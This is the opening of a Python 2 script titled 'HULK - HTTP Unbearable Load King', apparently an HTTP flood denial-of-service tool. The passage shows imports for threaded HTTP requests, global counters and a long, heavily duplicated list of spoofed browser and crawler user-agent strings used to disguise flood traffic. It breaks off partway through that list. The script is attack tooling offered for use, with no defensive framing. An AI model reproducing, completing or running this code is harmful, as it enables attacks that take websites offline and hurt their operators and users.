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  1. #!/usr/bin/python -OO
  2. # ----------------------------------------------------------------------------------------------
  3. # HULK - HTTP Unbearable Load King
  4. # ----------------------------------------------------------------------------------------------
  5. import urllib2
  6. import sys
  7. import threading
  8. import random
  9. import re
  10.  
  11. #global params
  12. url=''
  13. host=''
  14. headers_useragents=[]
  15. headers_referers=[]
  16. request_counter=0
  17. flag=0
  18. safe=0
  19.  
  20. def inc_counter():
  21.     global request_counter
  22.     request_counter+=1
  23.  
  24. def set_flag(val):
  25.     global flag
  26.     flag=val
  27.  
  28. def set_safe():
  29.     global safe
  30.     safe=1
  31. # generates a user agent array
  32. def useragent_list():
  33.     global headers_useragents
  34.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1')
  35.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)')
  36.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)')
  37.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)')
  38.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 2.0.50727; InfoPath.2)')
  39.     headers_useragents.append('Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)')
  40.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows XP)')
  41.     headers_useragents.append('Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51')
  42.     headers_useragents.append('AppEngine-Google; (+http://code.google.com/appengine; appid: webetrex)')
  43.     headers_useragents.append('Mozilla/5.0 (compatible; MSIE 9.0; AOL 9.7; AOLBuild 4343.19; Windows NT 6.1; WOW64; Trident/5.0; FunWebProducts)')
  44.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.27; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)')
  45.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.21; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E)')
  46.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.19; Windows NT 5.1; Trident/4.0; GTB7.2; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)')
  47.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.19; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E)')
  48.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 7.0; AOL 9.7; AOLBuild 4343.19; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E)')
  49.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3')
  50.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 2.0.50727)')
  51.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; de-de; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)')
  52.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1 (.NET CLR 3.0.04506.648)')
  53.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E')
  54.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1')
  55.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)')
  56.     headers_useragents.append('Opera/9.60 (J2ME/MIDP; Opera Mini/4.2.14912/812; U; ru) Presto/2.4.15')
  57.     headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-US) AppleWebKit/125.4 (KHTML, like Gecko, Safari) OmniWeb/v563.57')
  58.     headers_useragents.append('Mozilla/5.0 (SymbianOS/9.2; U; Series60/3.1 NokiaN95_8GB/31.0.015; Profile/MIDP-2.0 Configuration/CLDC-1.1 ) AppleWebKit/413 (KHTML, like Gecko) Safari/413')
  59.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)')
  60.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)')
  61.     headers_useragents.append('Mozilla/5.0 (Windows; U; WinNT4.0; en-US; rv:1.8.0.5) Gecko/20060706 K-Meleon/1.0')
  62.     headers_useragents.append('Lynx/2.8.6rel.4 libwww-FM/2.14 SSL-MM/1.4.1 OpenSSL/0.9.8g')
  63.     headers_useragents.append('Mozilla/4.76 [en] (PalmOS; U; WebPro/3.0.1a; Palm-Arz1)')
  64.     headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de) AppleWebKit/418 (KHTML, like Gecko) Shiira/1.2.2 Safari/125')
  65.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US; rv:1.8.1.6) Gecko/2007072300 Iceweasel/2.0.0.6 (Debian-2.0.0.6-0etch1+lenny1)')
  66.     headers_useragents.append('Mozilla/5.0 (SymbianOS/9.1; U; en-us) AppleWebKit/413 (KHTML, like Gecko) Safari/413')
  67.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 3.5.30729; InfoPath.2)')
  68.     headers_useragents.append('Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)')
  69.     headers_useragents.append('Links (2.2; GNU/kFreeBSD 6.3-1-486 i686; 80x25)')
  70.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; WOW64; Trident/4.0; SLCC1)')
  71.     headers_useragents.append('Mozilla/1.22 (compatible; Konqueror/4.3; Linux) KHTML/4.3.5 (like Gecko)')
  72.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows CE; IEMobile 6.5)')
  73.     headers_useragents.append('Opera/9.80 (Macintosh; U; de-de) Presto/2.8.131 Version/11.10')
  74.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.9) Gecko/20100318 Mandriva/2.0.4-69.1mib2010.0 SeaMonkey/2.0.4')
  75.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows XP) Gecko/20060706 IEMobile/7.0')
  76.     headers_useragents.append('Mozilla/5.0 (iPad; U; CPU OS 3_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B334b Safari/531.21.10')
  77.     headers_useragents.append('Mozilla/5.0 (Macintosh; I; Intel Mac OS X 10_6_7; ru-ru)')
  78.     headers_useragents.append('Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)')
  79.     headers_useragents.append('Mozilla/1.22 (compatible; MSIE 6.0; Windows NT 6.1; Trident/4.0; GTB6; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; OfficeLiveConnector.1.4; OfficeLivePatch.1.3)')
  80.     headers_useragents.append('Mozilla/5.0 (compatible; YandexBot/3.0; +http://yandex.com/bots)')
  81.     headers_useragents.append('Mozilla/4.0 (Macintosh; U; Intel Mac OS X 10_6_7; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16')
  82.     headers_useragents.append('Mozilla/1.22 (X11; U; Linux x86_64; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1')
  83.     headers_useragents.append('Mozilla/5.0 (compatible; MSIE 2.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.0.30729; InfoPath.2)')
  84.     headers_useragents.append('Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51')
  85.     headers_useragents.append('Mozilla/5.0 (compatible; MSIE 2.0; Windows CE; IEMobile 7.0)')
  86.     headers_useragents.append('Mozilla/4.0 (Macintosh; U; PPC Mac OS X; en-US)')
  87.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.0; en; rv:1.9.1.7) Gecko/20091221 Firefox/3.5.7')
  88.     headers_useragents.append('BlackBerry8300/4.2.2 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/107 UP.Link/6.2.3.15.0')
  89.     headers_useragents.append('Mozilla/1.22 (compatible; MSIE 2.0; Windows 3.1)')
  90.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Avant Browser [avantbrowser.com]; iOpus-I-M; QXW03416; .NET CLR 1.1.4322)')
  91.     headers_useragents.append('Mozilla/3.0 (Windows NT 6.1; ru-ru; rv:1.9.1.3.) Win32; x86 Firefox/3.5.3 (.NET CLR 2.0.50727)')
  92.     headers_useragents.append('Opera/7.0 (compatible; MSIE 2.0; Windows 3.1)')
  93.     headers_useragents.append('Opera/9.80 (Windows NT 5.1; U; en-US) Presto/2.8.131 Version/11.10')
  94.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; America Online Browser 1.1; rev1.5; Windows NT 5.1;)')
  95.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows CE 4.21; rv:1.8b4) Gecko/20050720 Minimo/0.007')
  96.     headers_useragents.append('BlackBerry9000/5.0.0.93 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/179')
  97.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3')
  98.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 2.0.50727)')
  99.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; de-de; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)')
  100.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1 (.NET CLR 3.0.04506.648)')
  101.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E')
  102.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1')
  103.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)')
  104.     headers_useragents.append('Opera/9.60 (J2ME/MIDP; Opera Mini/4.2.14912/812; U; ru) Presto/2.4.15')
  105.     headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-US) AppleWebKit/125.4 (KHTML, like Gecko, Safari) OmniWeb/v563.57')
  106.     headers_useragents.append('Mozilla/5.0 (SymbianOS/9.2; U; Series60/3.1 NokiaN95_8GB/31.0.015; Profile/MIDP-2.0 Configuration/CLDC-1.1 ) AppleWebKit/413 (KHTML, like Gecko) Safari/413')
  107.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)')
  108.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)')
  109.     headers_useragents.append('Mozilla/5.0 (Windows; U; WinNT4.0; en-US; rv:1.8.0.5) Gecko/20060706 K-Meleon/1.0')
  110.     headers_useragents.append('Lynx/2.8.6rel.4 libwww-FM/2.14 SSL-MM/1.4.1 OpenSSL/0.9.8g')
  111.     headers_useragents.append('Mozilla/4.76 [en] (PalmOS; U; WebPro/3.0.1a; Palm-Arz1)')
  112.     headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de) AppleWebKit/418 (KHTML, like Gecko) Shiira/1.2.2 Safari/125')
  113.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US; rv:1.8.1.6) Gecko/2007072300 Iceweasel/2.0.0.6 (Debian-2.0.0.6-0etch1+lenny1)')
  114.     headers_useragents.append('Mozilla/5.0 (SymbianOS/9.1; U; en-us) AppleWebKit/413 (KHTML, like Gecko) Safari/413')
  115.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 3.5.30729; InfoPath.2)')
  116.     headers_useragents.append('Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)')
  117.     headers_useragents.append('Links (2.2; GNU/kFreeBSD 6.3-1-486 i686; 80x25)')
  118.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; WOW64; Trident/4.0; SLCC1)')
  119.     headers_useragents.append('Mozilla/1.22 (compatible; Konqueror/4.3; Linux) KHTML/4.3.5 (like Gecko)')
  120.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows CE; IEMobile 6.5)')
  121.     headers_useragents.append('Opera/9.80 (Macintosh; U; de-de) Presto/2.8.131 Version/11.10')
  122.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.9) Gecko/20100318 Mandriva/2.0.4-69.1mib2010.0 SeaMonkey/2.0.4')
  123.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows XP) Gecko/20060706 IEMobile/7.0')
  124.     headers_useragents.append('Mozilla/5.0 (iPad; U; CPU OS 3_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B334b Safari/531.21.10')
  125.     headers_useragents.append('Mozilla/5.0 (Macintosh; I; Intel Mac OS X 10_6_7; ru-ru)')
  126.     headers_useragents.append('Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)')
  127.     headers_useragents.append('Mozilla/1.22 (compatible; MSIE 6.0; Windows NT 6.1; Trident/4.0; GTB6; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; OfficeLiveConnector.1.4; OfficeLivePatch.1.3)')
  128.     headers_useragents.append('Mozilla/5.0 (compatible; YandexBot/3.0; +http://yandex.com/bots)')
  129.     headers_useragents.append('Mozilla/4.0 (Macintosh; U; Intel Mac OS X 10_6_7; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16')
  130.     headers_useragents.append('Mozilla/1.22 (X11; U; Linux x86_64; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1')
  131.     headers_useragents.append('Mozilla/5.0 (compatible; MSIE 2.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.0.30729; InfoPath.2)')
  132.     headers_useragents.append('Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51')
  133.     headers_useragents.append('Mozilla/5.0 (compatible; MSIE 2.0; Windows CE; IEMobile 7.0)')
  134.     headers_useragents.append('Mozilla/4.0 (Macintosh; U; PPC Mac OS X; en-US)')
  135.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.0; en; rv:1.9.1.7) Gecko/20091221 Firefox/3.5.7')
  136.     headers_useragents.append('BlackBerry8300/4.2.2 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/107 UP.Link/6.2.3.15.0')
  137.     headers_useragents.append('Mozilla/1.22 (compatible; MSIE 2.0; Windows 3.1)')
  138.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Avant Browser [avantbrowser.com]; iOpus-I-M; QXW03416; .NET CLR 1.1.4322)')
  139.     headers_useragents.append('Mozilla/3.0 (Windows NT 6.1; ru-ru; rv:1.9.1.3.) Win32; x86 Firefox/3.5.3 (.NET CLR 2.0.50727)')
  140.     headers_useragents.append('Opera/7.0 (compatible; MSIE 2.0; Windows 3.1)')
  141.     headers_useragents.append('Opera/9.80 (Windows NT 5.1; U; en-US) Presto/2.8.131 Version/11.10')
  142.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; America Online Browser 1.1; rev1.5; Windows NT 5.1;)')
  143.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows CE 4.21; rv:1.8b4) Gecko/20050720 Minimo/0.007')
  144.     headers_useragents.append('BlackBerry9000/5.0.0.93 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/179')
  145.     headers_useragents.append('Mozilla/5.0 (compatible; 008/0.83; http://www.80legs.com/webcrawler.html) Gecko/2008032620')
  146.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) AddSugarSpiderBot www.idealobserver.com')
  147.     headers_useragents.append('Mozilla/5.0 (compatible; AnyApexBot/1.0; +http://www.anyapex.com/bot.html)')
  148.     headers_useragents.append('Mozilla/4.0 (compatible; Arachmo)')
  149.     headers_useragents.append('Mozilla/4.0 (compatible; B-l-i-t-z-B-O-T)')
  150.     headers_useragents.append('Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)')
  151.     headers_useragents.append('Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)')
  152.     headers_useragents.append('Mozilla/5.0 (compatible; BecomeBot/2.3; MSIE 6.0 compatible; +http://www.become.com/site_owners.html)')
  153.     headers_useragents.append('BillyBobBot/1.0 (+http://www.billybobbot.com/crawler/)')
  154.     headers_useragents.append('Mozilla/5.0 (compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm)')
  155.     headers_useragents.append('Sqworm/2.9.85-BETA (beta_release; 20011115-775; i686-pc-linux-gnu)')
  156.     headers_useragents.append('Mozilla/5.0 (compatible; YandexImages/3.0; +http://yandex.com/bots)')
  157.     headers_useragents.append('Mozilla/5.0 (compatible; Yahoo! Slurp; http://help.yahoo.com/help/us/ysearch/slurp)')
  158.     headers_useragents.append('Mozilla/5.0 (compatible; YodaoBot/1.0; http://www.yodao.com/help/webmaster/spider/; )')
  159.     headers_useragents.append('Mozilla/5.0 (compatible; YodaoBot/1.0; http://www.yodao.com/help/webmaster/spider/; )')
  160.     headers_useragents.append('Mozilla/4.0 compatible ZyBorg/1.0 Dead Link Checker (wn.zyborg@looksmart.net; http://www.WISEnutbot.com)')
  161.     headers_useragents.append('Mozilla/4.0 compatible ZyBorg/1.0 Dead Link Checker (wn.dlc@looksmart.net; http://www.WISEnutbot.com)')
  162.     headers_useragents.append('Mozilla/4.0 compatible ZyBorg/1.0 (wn-16.zyborg@looksmart.net; http://www.WISEnutbot.com)')
  163.     headers_useragents.append('Mozilla/5.0 (compatible; U; ABrowse 0.6; Syllable) AppleWebKit/420+ (KHTML, like Gecko)')
  164.     headers_useragents.append('Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; Acoo Browser 1.98.744; .NET CLR 3.5.30729)')
  165.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; SV1; Acoo Browser; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; Avant Browser)')
  166.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; Acoo Browser; GTB6; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; InfoPath.1; .NET CLR 3.5.30729; .NET CLR 3.0.30618)')
  167.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Acoo Browser; .NET CLR 1.1.4322; .NET CLR 2.0.50727)')
  168.     headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en) AppleWebKit/419 (KHTML, like Gecko, Safari/419.3) Cheshire/1.0.ALPHA')
  169.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.2 (KHTML, like Gecko) ChromePlus/4.0.222.3 Chrome/4.0.222.3 Safari/532.2')
  170.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.215 Safari/534.10 ChromePlus/1.5.1.1')
  171.     headers_useragents.append('Links (2.7; Linux 3.7.9-2-ARCH x86_64; GNU C 4.7.1; text)')
  172.     headers_useragents.append('Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit/537.75.14 (KHTML, like Gecko) Version/7.0.3 Safari/7046A194A')
  173.     headers_useragents.append('Mozilla/5.0 (PLAYSTATION 3; 3.55)')
  174.     headers_useragents.append('Mozilla/5.0 (PLAYSTATION 3; 2.00)')
  175.     headers_useragents.append('Mozilla/5.0 (PLAYSTATION 3; 1.00)')
  176.     headers_useragents.append('Mozilla/5.0 (Windows NT 6.3; WOW64; rv:24.0) Gecko/20100101 Thunderbird/24.4.0')
  177.     headers_useragents.append('Mozilla/5.0 (compatible; AbiLogicBot/1.0; +http://www.abilogic.com/bot.html)')
  178.     headers_useragents.append('SiteBar/3.3.8 (Bookmark Server; http://sitebar.org/)')
  179.     headers_useragents.append('iTunes/9.0.3 (Macintosh; U; Intel Mac OS X 10_6_2; en-ca)')
  180.     headers_useragents.append('iTunes/9.0.3 (Macintosh; U; Intel Mac OS X 10_6_2; en-ca)')
  181.     headers_useragents.append('Mozilla/4.0 (compatible; WebCapture 3.0; Macintosh)')
  182.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3 (FM Scene 4.6.1)')
  183.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3 (.NET CLR 3.5.30729) (Prevx 3.0.5) ')
  184.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.8.1.8) Gecko/20071004 Iceweasel/2.0.0.8 (Debian-2.0.0.6+2.0.0.8-Oetch1)')
  185.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.8.0.1) Gecko/20060111 Firefox/1.5.0.1')
  186.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)')
  187.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 1.1.4322)')
  188.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; {1C69E7AA-C14E-200E-5A77-8EAB2D667A07})')
  189.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; acc=baadshah; acc=none; freenet DSL 1.1; (none))')
  190.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 5.5; Windows 98)')
  191.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; en) Opera 8.51')
  192.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.1) Gecko/20060111 Firefox/1.5.0.1')
  193.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; snprtz|S26320700000083|2600#Service Pack 1#2#5#154321|isdn)')
  194.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Alexa Toolbar; mxie; .NET CLR 1.1.4322)')
  195.     headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; ja-jp) AppleWebKit/417.9 (KHTML, like Gecko) Safari/417.8')
  196.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.12) Gecko/20051010 Firefox/1.0.7 (Ubuntu package 1.0.7)')
  197.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3')
  198.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)')
  199.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)')
  200.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1')
  201.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1')
  202.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)')
  203.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)')
  204.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)')
  205.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 2.0.50727; InfoPath.2)')
  206.     headers_useragents.append('Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)')
  207.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows XP)')
  208.     headers_useragents.append('Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51')
  209.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3')
  210.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 2.0.50727)')
  211.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; de-de; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)')
  212.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1 (.NET CLR 3.0.04506.648)')
  213.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E')
  214.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1')
  215.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)')
  216.     headers_useragents.append('Opera/9.60 (J2ME/MIDP; Opera Mini/4.2.14912/812; U; ru) Presto/2.4.15')
  217.     headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-US) AppleWebKit/125.4 (KHTML, like Gecko, Safari) OmniWeb/v563.57')
  218.     headers_useragents.append('Mozilla/5.0 (SymbianOS/9.2; U; Series60/3.1 NokiaN95_8GB/31.0.015; Profile/MIDP-2.0 Configuration/CLDC-1.1 ) AppleWebKit/413 (KHTML, like Gecko) Safari/413')
  219.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)')
  220.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)')
  221.     headers_useragents.append('Mozilla/5.0 (Windows; U; WinNT4.0; en-US; rv:1.8.0.5) Gecko/20060706 K-Meleon/1.0')
  222.     headers_useragents.append('Lynx/2.8.6rel.4 libwww-FM/2.14 SSL-MM/1.4.1 OpenSSL/0.9.8g')
